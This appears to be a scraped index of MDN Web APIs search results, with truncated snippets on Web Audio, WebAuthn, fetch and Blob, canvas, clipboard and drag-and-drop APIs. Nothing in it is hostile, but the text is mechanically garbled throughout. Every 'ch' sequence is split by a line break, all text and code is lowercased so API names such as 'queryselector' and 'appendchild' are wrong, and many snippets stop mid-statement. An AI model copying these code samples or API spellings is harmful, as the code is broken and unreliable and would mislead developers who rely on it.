... endtime a double representing the exact time (in seconds) after the ramping starts that the
changing of the value will stop.
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler whi
ch is called when the addtrack event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents.
... syntax audiotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object whi
ch indicates in its track property whi
ch audio track has been added to the media.
...this happens when tracks are added to the element when the media is first atta
ched to the element; one addtrack event will occur for ea
ch audio track in the media resource.
...in this scenario, that function's role is to add the new track to a list of audio tracks available to
choose from.
AudioWorkletGlobalScope - Web APIs
the audioworkletglobalscope interface of the web audio api represents a global execution context for user-supplied code, whi
ch defines custom audioworkletprocessor-derived classes.
... ea
ch baseaudiocontext has a single audioworklet available under the audioworklet property, whi
ch runs its code in a single audioworkletglobalscope.
...it is incremented by 128 (the size of a render quantum) after the processing of ea
ch audio block.
... // test-processor.js class testprocessor extends audioworkletprocessor { constructor () { super() // current sample-frame and time at the moment of instantiation // to see values
change, you can put these two lines in process method console.log(currentframe) console.log(currenttime) } // the process method is required - simply output silence, // whi
ch the outputs are already filled with process (inputs, outputs, parameters) { return true } } // the sample rate is not going to
change ever, // because it's a read-only property of a baseaudiocontext // an...
AudioWorkletProcessor() - Web APIs
the audioworkletprocessor() constructor creates a new audioworkletprocessor object, whi
ch represents an underlying audio processing me
chanism of an audioworkletnode.
... output
channelcount optional an array defining the number of
channels for ea
ch output.
... for example, output
channelcount: [n, m] specifies the number of
channels in the first output to be n and the second output to be m.
... the array length must mat
ch numberofoutputs.
AuthenticatorAssertionResponse.signature - Web APIs
the signature read-only property of the authenticatorassertionresponse interface is an arraybuffer object whi
ch is the signature of the authenticator for both authenticatorassertionresponse.authenticatordata and a sha-256 hash of the client data (authenticatorassertionresponse.clientdatajson).
...it provides the proof that an authenticator does possess the private key whi
ch was used for the credential's generation.
... syntax signature = authenticatorassertionresponse.signature value an arraybuffer object whi
ch the signature of the authenticator (using its private key) for both authenticatorassertionresponse.authenticatordata and a sha-256 hash given by the client for its data (the
challenge, the origin, etc.
... examples var options = {
challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'signature' in that specification.
AuthenticatorAssertionResponse.userHandle - Web APIs
the userhandle read-only property of the authenticatorassertionresponse interface is an arraybuffer object whi
ch is an opaque identifier for the given user.
... su
ch an identifier can be used by the relying party's server to link the user account with its corresponding credentials and other data.
... syntax userhandle = authenticatorassertionresponse.userhandle value an arraybuffer object whi
ch is an opaque identifier for the current user.
...username, e-mail, phone number, etc.) examples var options = {
challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userhandle' in that specification.
AuthenticatorAttestationResponse.getTransports() - Web APIs
gettransports() is a method of the authenticatorattestationresponse interface that returns an array containing strings describing the different transports whi
ch may be used by the authenticator.
... su
ch transports may be usb, nfc, ble or internal (applicable when the authenticator is not removable from the device).
... examples var publickey = {
challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentia...
...linfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that specification.
BaseAudioContext.createGain() - Web APIs
the creategain() method of the baseaudiocontext interface creates a gainnode, whi
ch can be used to control the overall gain (or volume) of the audio graph.
... syntax var gainnode = audiocontext.creategain(); return value a gainnode whi
ch takes as input one or more audio sources and outputs audio whose volume has been adjusted in gain (volume) to a level specified by the node's gainnode.gain a-rate parameter.
... example the following example shows basic usage of an audiocontext to create a gainnode, whi
ch is then used to mute and unmute the audio when a mute button is clicked by
changing the gain property value.
... the below snippet wouldn't work as is — for a complete working example,
check out our voice-
change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your br...
BatteryManager.level - Web APIs
indicates the current battery
charge level as a value between 0.0 and 1.0.
... syntax var level = battery.level on return, level is a number representing the system's battery
charge level scaled to a value between 0.0 and 1.0.
... a value of 0 means the battery, whi
ch is a batterymanager object, is empty and the system is about to be suspended.
...a value of 1.0 is also returned if the implementation isn't able to determine the battery
charge level or if the system is not battery-powered.
Blob() - Web APIs
syntax var newblob = new blob(array, options); parameters array an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of su
ch objects, that will be put inside the blob.
... options optional an optional object of type blobpropertybag whi
ch may specify any of the following properties: type optional the mime type of the data that will be stored into the blob.
... endings optional how to interpret newline
characters (\n) within the contents, if the data is text.
... the default value, transparent, copies newline
characters into the blob without
changing them.
Blob.stream() - Web APIs
the blob interface's stream() method returns a readablestream whi
ch upon reading returns the data contained within the blob.
... returns a readablestream whi
ch, upon reading, returns the contents of the blob.
... usage notes with stream() and the returned readablestream, you gain several interesting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods su
ch as the readablestreamdefaultreader interface's read() method.
...this returns an array containing two new readablestream objects, ea
ch of whi
ch returns the contents of the blob.
Bluetooth.requestDevice() - Web APIs
if there is no
chooser ui, this method returns the first device mat
ching the criteria.
... notfounderror there is no bluetooth device that mat
ches the specified options.
... example // discovery options mat
ch any devices advertising: // .
...}) .cat
ch(function(error) { console.log("something went wrong.
BluetoothRemoteGATTService - Web APIs
the bluetoothremotegattservice interface of the web bluetooth api represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the
characteristics of this service.
... interface interface bluetoothremotegattservice : serviceeventhandlers { readonly attribute uuid uuid; readonly attribute boolean isprimary; readonly attribute bluetoothdevice device; promise<bluetoothgatt
characteristic> get
characteristic(bluetooth
characteristicuuid
characteristic); promise<sequence<bluetoothgatt
characteristic>> get
characteristics(optional bluetooth
characteristicuuid
characteristic); promise<bluetoothgattservice> getincludedservice(bluetoothserviceuuid service); promise<sequence<bluetoothgattservice>> getincludedservices(optional bluetoothserviceuuid service); }; properties bluetoothremotegattservice.deviceread only returns information about a bluetooth device through an instance of bluetoothdevice.
... methods bluetoothremotegattservice.get
characteristic() returns a promise to an instance of bluetoothgatt
characteristic for a given universally unique identifier (uuid).
... bluetoothremotegattservice.get
characteristics() returns a promise to an array of bluetoothgatt
characteristic instances for an optional universally unique identifier (uuid).
Body.blob() - Web APIs
note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", whi
ch renders it useless for methods like url.createobjecturl.
... example in our fet
ch request example (run fet
ch request live), we create a new request using the request() constructor, then use it to fet
ch a jpg.
... when the fet
ch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fet
chthe definition of 'blob()' in that specification.
Body.json() - Web APIs
example in our fet
ch json example (run fet
ch json live), we create a new request using the request() constructor, then use it to fet
ch a .json file.
... when the fet
ch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.
... const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fet
ch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.append
child( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }.
... cost: ` ); listitem.append
child( document.createelement('strong') ).textcontent = `£${product.price}`; mylist.append
child(listitem); } }) .cat
ch(console.error); specifications specification status comment fet
chthe definition of 'body.json()' in that specification.
Body.text() - Web APIs
example in our fet
ch text example (run fet
ch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give ea
ch one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked.
... when getdata() is run, we create a new request using the request() constructor, then use it to fet
ch a specific .txt file.
... when the fet
ch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object.
... let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fet
ch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fet
chthe definition of 'text()' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
the size() method of the bytelengthqueuingstrategy interface returns the given
chunk’s bytelength property.
... syntax var size = bytelengthqueuingstrategy.size(
chunk); parameters
chunk a
chunk of data being passed through the stream.
... return value an integer representing the byte length of the given
chunk.
... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(
chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis: via htmlelement.style, whi
ch deals with the inline styles of a single element (e.g., <div style="...">).
... via window.getcomputedstyle(), whi
ch exposes the cssstyledeclaration object as a read-only interface.
...setting this attribute
changes the style.
... an alternative to accessing nodelist[i] (whi
ch instead returns undefined when i is out-of-bounds).
CSSStyleSheet.ownerRule - Web APIs
the read-only cssstylesheet property ownerrule returns the cssimportrule corresponding to the @import at-rule whi
ch imported the stylesheet into the document.
... syntax var ownerrule = cssstylesheet.ownerrule; value a cssimportrule corresponding to the @import rule whi
ch imported the stylesheet into the document.
... examples this snippet of code looks for rules whi
ch were not imported into the document using an @import at-rule.
... let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (!rule.ownerrule) { /* rule is not imported */ } } this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) {
checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSUnparsedValue - Web APIs
methods cssunparsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype
chain as well).
... cssunparsedvalue.forea
ch() executes a provided function once for ea
ch element of the cssunparsedvalue object.
... cssunparsedvalue.keys() returns a new array iterator object that contains the keys for ea
ch index in the cssunparsedvalue object.
... cssunparsedvalue.values() returns a new array iterator object that contains the values for ea
ch index in the cssunparsedvalue object.
Determining the dimensions of elements - Web APIs
there are several properties you can look at in order to determine the width and height of elements, and it can be tricky to determine whi
ch is the right one for your needs.
... how mu
ch room does it use up?
... if you need to know how mu
ch space the actual displayed content takes up, including padding but not including the border, margins, or scrollbars, you want to use the element.clientwidth and element.clientheight properties: how big is the content?
... if you need to know the actual size of the content, regardless of how mu
ch of it is currently visible, you need to use the element.scrollwidth and element.scrollheight properties.
CanvasRenderingContext2D.clip() - Web APIs
only those parts of the
checkerboard pattern that are within the clipping region get drawn.
...it doesn't work with shape primitives drawn directly to the canvas, su
ch as fillrect().
... syntax void ctx.clip([fillrule]); void ctx.clip(path [, fillrule]); parameters fillrule the algorithm by whi
ch to determine if a point is inside or outside the clipping region.
... ctx = canvas.getcontext('2d'); // create circular clipping region ctx.beginpath(); ctx.arc(100, 75, 50, 0, math.pi * 2); ctx.clip(); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); ctx.fillstyle = 'orange'; ctx.fillrect(0, 0, 100, 100); result specifying a path and a fillrule this example saves two rectangles to a path2d object, whi
ch is then made the current clipping region using the clip() method.
CanvasRenderingContext2D.createImageData() - Web APIs
imagedata an existing imagedata object from whi
ch to copy the width and height.
...ea
ch pixel within an imagedata object consists of four array values, so the object's data property has a length of 4 × 5,000, or 20,000.
... html <canvas id="canvas"></canvas> javascript since ea
ch pixel consists of four values, the for loop iterates by multiples of four.
... the array values associated with ea
ch pixel are r (red), g (green), b (blue), and a (alpha), in that order.
CanvasRenderingContext2D.fillStyle - Web APIs
examples
changing the fill color of a shape this example applies a blue fill color to a rectangle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, ea
ch having a different fill color.
... to a
chieve this, we use the two variables i and j to generate a unique rgb color for ea
ch square, and only modify the red and green values.
... (the blue
channel has a fixed value.) by modifying the
channels, you can generate all kinds of palettes.
CanvasRenderingContext2D.strokeStyle - Web APIs
examples
changing the stroke color of a shape this example applies a blue stroke color to a rectangle.
... html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, ea
ch having a different stroke color.
... to a
chieve this, we use the two variables i and j to generate a unique rgb color for ea
ch circle, and only modify the green and blue values.
... (the red
channel has a fixed value.) <canvas id="canvas" width="150" height="150"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokestyle' in that specification.
Compositing example - Web APIs
pure black or white does not result in pure black or white.', 'subtracts the bottom layer from the top layer or the other way round to always get a positive value.', 'like difference, but with lower contrast.', 'preserves the luma and
chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the
chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and
chroma of the top layer.', 'preserves the hue and
chroma of the bottom layer, while adopting the luma of the top layer.' ].reverse(); var width = 320; var hei...
... function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.append
child(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.textcontent = pop; dl.append
child(dt); var dd = document.createelement("dd"); var p = document.createelement("p"); p.textcontent = gcotext.pop(); dd.append
child(p); var canvastodrawon = createcanvas(); var canvastodrawfrom ...
...wfrom.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('new content', 5, height/2 - 5); ctx.restore(); dd.append
child(canvastodrawon); dd.append
child(canvastodrawfrom); dd.append
child(canvastodrawresult); dl.append
child(dd); } }; utility functions the program relies on a number of utility functions.
... v = o.v / 100, r, g, b; var a, b, c, d; if (s == 0) { r = g = b = math.round(v * 255); } else { if (h >= 1) h = 0; h = 6 * h; d = h - math.floor(h); a = math.round(255 * v * (1 - s)); b = math.round(255 * v * (1 - (s * d))); c = math.round(255 * v * (1 - (s * (1 - d)))); v = math.round(255 * v); swit
ch (math.floor(h)) { case 0: r = v; g = c; b = a; break; case 1: r = b; g = v; b = a; break; case 2: r = a; g = v; b = c; break; case 3: r = a; ...
Finale - Web APIs
new te
chnologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
... svg scalable vector graphics let you describe images as sets of vectors (lines) and shapes in order to allow them to scale smoothly regardless of the size at whi
ch they're drawn.
... web audio the web audio api provides a powerful and versatile system for controlling audio on the web, allowing developers to
choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (su
ch as panning) and mu
ch more.
... comments about this tutorial – the mdn documentation community if you have any comments about this tutorial or want to thank us, feel free to rea
ch out to us!
ClipboardItem - Web APIs
the clipboard-read permission must be requested, whi
ch you can do by trying to read data from the clipboard.
... examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fet
ch api, and in turn, the responses' blob() method, to create the new clipboarditem.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fet
ch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fet
ched image copied.'); } cat
ch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } cat
ch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
console.assert() - Web APIs
the string representations of ea
ch of these objects are appended together in the order listed and output.
...substn javascript objects with whi
ch to replace substitution strings within msg.
... console.log('the word is %s', 'foo'); // output: the word is foo ...the use of su
ch a string does not currently work as intended as a parameter for console.assert in all browsers: console.assert(false, 'the word is %s', 'foo'); // correct output in node.js and some browsers // (e.g.
...
chrome v67.0.3396.87): // assertion failed: the word is %s foo see outputting text to the console in the documentation of console for further details.
ConstrainBoolean - Web APIs
you can specify an exact value whi
ch must be mat
ched, an ideal value that should be mat
ched if at all possible, and a fallback value to attempt to mat
ch once all more specific constraints have been applied.
... properties exact a boolean whi
ch indicates a value the property must have.
... you can also specify the value of the property as simply true or false, in whi
ch case the user agent will use that value if possible once all efforts have been made to mat
ch the exact and ideal values for other properties.
... candidate recommendation initial definition te
chnically, constrainboolean is actually based on an intermediary dictionary named constrainbooleanparameters, whi
ch adds exact and ideal to the simple boolean type.
ConstrainDouble - Web APIs
it extends the doublerange dictionary (whi
ch provides the ability to specify a permitted range of property values) to also support an exact value and/or an ideal value the property should take on.
... additionally, you can specify the property's value as a simple floating-point value, in whi
ch case the user agent does its best to mat
ch the value once all other more stringent constraints are met.
... ideal a double-precision floating-point number specifying a value the property would ideally have, but whi
ch can be considered optional if necessary to find a mat
ch.
... candidate recommendation initial definition te
chnically, constraindouble is actually based on an intermediary dictionary named constraindoublerange, whi
ch adds exact and ideal to doublerange, with constraindouble being a type that can be either a long integer or a doublerange.
ConstrainULong - Web APIs
it extends the ulongrange dictionary (whi
ch provides the ability to specify a permitted range of property values) to also support an exact value and/or an ideal value the property should take on.
... in addition, you can specify the value as a simple long integer value, in whi
ch case the user agent does its best to mat
ch the value once all other more stringent constraints are met.
... ideal an integer specifying a value the property would ideally have, but whi
ch can be considered optional if necessary to find a mat
ch.
... candidate recommendation initial definition te
chnically, constrainulong is actually based on an intermediary dictionary named constrainulongrange, whi
ch adds exact and ideal to ulongrange, with constrainulong being a type that can be either a long integer or a ulongrange.
ConvolverNode - Web APIs
the convolvernode interface is an audionode that performs a linear convolution on a given audiobuffer, often used to a
chieve a reverb effect.
... number of inputs 1 number of outputs 1
channel count mode "clamped-max"
channel count 1, 2, or 4
channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance.
... convolvernode.buffer a mono, stereo, or 4-
channel audiobuffer containing the (possibly multi
channel) impulse response used by the convolvernode to create the reverb effect.
... let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fet
ch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
DOMException.code - Web APIs
the code read-only property of the domexception interface returns a short that contains one of the error code constants, or 0 if none mat
ch.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcode
chrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMParser - Web APIs
these properties can also be read to fet
ch html fragments corresponding to the corresponding dom subtree.
...sult will be an svgdocument if the mime type is text/html, the result will be an htmldocument let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") // returns a document, but not an svgdocument nor an htmldocument parser = new domparser(); doc = parser.parsefromstring(stringcontainingsvgsource, "image/svg+xml") // returns a svgdocument, whi
ch also is a document.
... parser = new domparser(); doc = parser.parsefromstring(stringcontaininghtmlsource, "text/html") // returns an htmldocument, whi
ch also is a document.
...ithub.com/1129031 */ /*global document, domparser*/ (function(domparser) { "use strict"; var proto = domparser.prototype, nativeparse = proto.parsefromstring; // firefox/opera/ie throw errors on unsupported types try { // webkit returns null on unsupported types if ((new domparser()).parsefromstring("", "text/html")) { // text/html parsing is natively supported return; } } cat
ch (ex) {} proto.parsefromstring = function(markup, type) { if (/^\s*text\/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(this, arguments); }...
DOMPoint.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, whi
ch includes both dompoint and dompointreadonly.
... although this interface is based on dompointreadonly, it is not read-only; the properties within may be
changed at will.
... syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, whi
ch includes both dompoint and dompointreadonly, from whi
ch to take the values of the new point's properties.
...the point's properties are mutable and may be
changed at any time.
DataTransfer.clearData() - Web APIs
syntax datatransfer.cleardata([format]); parameters format optional a string whi
ch specifies the type of data to remove.
... register event handlers draggable.addeventlistener('dragstart', dragstarthandler); draggable.addeventlistener('dragend', dragendhandler); dropable.addeventlistener('dragover', dragoverhandler); dropable.addeventlistener('dragleave', dragleavehandler); dropable.addeventlistener('drop', drophandler); function dragstarthandler (event) { status.innerhtml = 'drag in process'; //
change target element's border to signify drag has started event.currenttarget.style.border = '1px dashed blue'; // start by clearing existing clipboards; this will affect all types since we // don't give a specific type.
...rdata(); // set the drag's format and data (use event target's id for data) event.datatransfer.setdata('text/plain', event.target.id); data.innerhtml = event.datatransfer.getdata('text/plain'); } function dragendhandler (event) { if (!dropped) { status.innerhtml = 'drag canceled'; } data.innerhtml = event.datatransfer.getdata('text/plain') || 'empty'; //
change border to signify drag is no longer in process event.currenttarget.style.border = '1px solid black'; if (dropped) { // remove all event listeners draggable.removeeventlistener('dragstart', dragstarthandler); draggable.removeeventlistener('dragend', dragendhandler); dropable.removeeventlistener('dragover', dragoverhandler); dropable.removeeventlistener('d...
...)'; event.preventdefault(); } function drophandler (event) { dropped = true; status.innerhtml = 'drop done'; event.preventdefault(); // get data linked to event format « text » var _data = event.datatransfer.getdata('text/plain'); var element = document.getelementbyid(_data); // append drag source element to event's target element event.target.append
child(element); //
change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html living standardthe definition of 'datatransfer.cleardata()' in that specification.
DataTransfer.effectAllowed - Web APIs
within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine whi
ch effect is permitted.
... internet explorer will
change the value to be lowercased; thus, linkmove will become linkmove, and so on.
...gin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getda...
...ta("text"); ev.target.append
child(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples <code>datatransfer</code>.{<code>dropeffect</code>, <code>effectallowed</code>} properties</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification...
DataTransfer.setData() - Web APIs
if data for the given type does not exist, it is added at the end of the drag data store, su
ch that the last item in the types list will be the new type.
...that is, the order of the types list is not
changed when replacing data of the same type.
... <!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); //
change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data.
... use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, whi
ch is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); // clear the drag data ca
che (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move ...
DataTransfer.types - Web APIs
ea
ch format is string.
...lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data))...
...; // print ea
ch format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print ea
ch item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("...
DataTransferItem.getAsString() - Web APIs
return value undefined callback the callback parameter is a callback function whi
ch accepts one parameter: domstring the drag data item's string data.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.mat
ch('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItemList.clear() - Web APIs
the drag data store in whi
ch this list is kept is only writable while handling the dragstart event.
...rop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
